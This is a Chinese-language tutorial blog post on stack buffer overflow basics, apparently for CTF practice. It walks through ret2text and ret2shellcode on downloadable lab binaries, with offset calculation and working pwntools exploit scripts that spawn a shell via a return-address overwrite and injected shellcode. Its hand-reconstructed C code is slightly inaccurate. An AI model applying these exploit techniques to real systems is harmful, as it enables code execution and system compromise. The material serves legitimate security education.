栈溢出攻击(2)-ROP基础(1)

文章目录

      • 预备条件
      • 栈溢出
      • ROP
      • ret2text程序
        • 攻击目标
        • 简单fuzz
        • 查看保护机制
        • 调试程序
          • 查看汇编代码
          • 确定与返回地址的偏移
        • 寻找获取系统shell的代码
        • 获取shell
      • ret2shellcode
        • 攻击目标
        • 简单fuzz
        • 查看保护机制
        • 调试程序
          • 确定与返回地址的偏移
      • 获取shell
        • python ljust
        • shellcode
          • 获取shell的payload
        • exploit
      • 公众号

预备条件

ret2shellcode:http://www.hacksprit.top:8090/files/ret2shellcode
ret2text: http://www.hacksprit.top:8090/files/ret2text
关闭系统的ASLR

栈溢出

在这里对栈溢出进行了介绍。

ROP

学习过Java的人对*OP应该都有所了解,比如OOP(面向对象编程),比如AOP(面向切面编程)。那ROP是 什么那?又和栈攻击有什么关系那?

ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程,从而绕过NX保护机制

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件:

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址

ret2text程序

攻击目标

ret2text程序

简单fuzz

通过输入多个字符a进行fuzz,从下图中可以看出程序崩溃。由此推测程序存在漏洞。
在这里插入图片描述

查看保护机制

使用checksec ret2text 查看程序使用的保护机制,从图中可以看出NX是开启的,也就是无法直接执行栈里面的数据。
栈溢出攻击(2)-ROP基础(1)_第1张图片

调试程序

使用Radare2(或者gdb)进行调试,本文使用Radare2进行调试。关于Radare2的介绍,可参考这里。

查看汇编代码

使用pdf @ main
栈溢出攻击(2)-ROP基础(1)_第2张图片通过汇编代码,大致可以写出相应的c代码,居然有一个高度危险的函数gets。由于gets函数不会对输入长度进行校验,那么当长度足够长的时候,就会覆盖到返回地址,然后,当程序返回之后,返回到一个无效的地址,由此就有了上面的程序崩溃。具体可参考这里。

int main(){
	char *s;
	setbuf(stdout,0,2,0)
	setbuf(stdin,0,1,1)
	puts("There is something amazing here, do you know anything?")
	gets(s);
	printf("Maybe I will tell you next time !")
	return 0;
}
确定与返回地址的偏移

在gets函数之后下断点, 运行程序。
栈溢出攻击(2)-ROP基础(1)_第3张图片
通过 v 查看栈、寄存器等信息
栈溢出攻击(2)-ROP基础(1)_第4张图片
s与ebp的偏移0xffffcfc8 - 0xffffcf5c = 6ch = 6*16+12 = 108,再加上ebp的4个字节就是距离返回地址的偏移,也就是112。然后在返回地址处,填充一个地址,这个地址,指向获取系统shell的代码。,这就是ROP。

    High
    Address |                 |
            +-----------------+
            | args            |
            +-----------------+
            | return address  |
            +-----------------+
     	ebp | old ebp         |
            +-----------------+
            |   ...           |
            +-----------------+
     ebp-112| 变量s地址      |
    Low     |                 |
    Address

寻找获取系统shell的代码

通过pdf @ sym.secure 查看汇编代码 ,可以看出有system("/bin/sh")这段代码,于是可以这里的代码。

栈溢出攻击(2)-ROP基础(1)_第5张图片

获取shell

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

运行,结果如下,通过这个shell可以查看进程,用户等信息。
栈溢出攻击(2)-ROP基础(1)_第6张图片

ret2shellcode

攻击目标

ret2shellcode程序

简单fuzz

在这里插入图片描述

查看保护机制

栈溢出攻击(2)-ROP基础(1)_第7张图片NX未开启

调试程序

栈溢出攻击(2)-ROP基础(1)_第8张图片
通过分析程序,写出c代码,很明显,依然存在由gets函数引起的栈溢出漏洞。但是多了strncpy内存复制函数,那么如果buf2中的内存是可执行的,写入一段shellcode,然后再跳转到buf2出,就可以控制程序的执行了,同样这也是ROP。

int main(){
	char *s;
	setbuf(stdout,0,2,0)
	setbuf(stdin,0,1,1)
	puts("No system for you this time !!!")
	gets(s);
	strncpy(buf2,s,0x64)
	printf("bye bye ~")
	return 0;
}

buf2处的内存能否执行,通过dm查看Memory Map的权限,由于0x804a080在第二行的范围内,因此具有可执行的权限。
栈溢出攻击(2)-ROP基础(1)_第9张图片

确定与返回地址的偏移

和上面的方法类似。

获取shell

python ljust

Python ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串

#!/usr/bin/python

str = "this is string example....wow!!!";
print str.ljust(50, '0');

运行结果,总长度是50,不是填充的字符长度是50

this is string example…wow!!!000000000000000000

shellcode

使用的模块

  • asm : 汇编与反汇编,支持x86/x64/arm/mips/powerpc等基本上所有的主流平台
  • shellcraft : shellcode的生成器
获取shell的payload

结合asm可以可以得到最终的pyaload。

from pwn import *
context(os='linux',arch='amd64')
shellcode = asm(shellcraft.sh())

或者

from pwn import *
shellcode = asm(shellcraft.amd64.linux.sh())

除了直接执行sh之外,还可以进行其它的一些常用操作例如提权、反向连接等等。

exploit

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

x = len(shellcode.ljust(112, 'A'))
sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

运行程序,成功获取shell,可以查看进程等信息。
栈溢出攻击(2)-ROP基础(1)_第10张图片

公众号

更多二进制安全内容,欢迎关注我的公众号:无情剑客。
栈溢出攻击(2)-ROP基础(1)_第11张图片

你可能感兴趣的:(漏洞,网络与安全,Windows开发)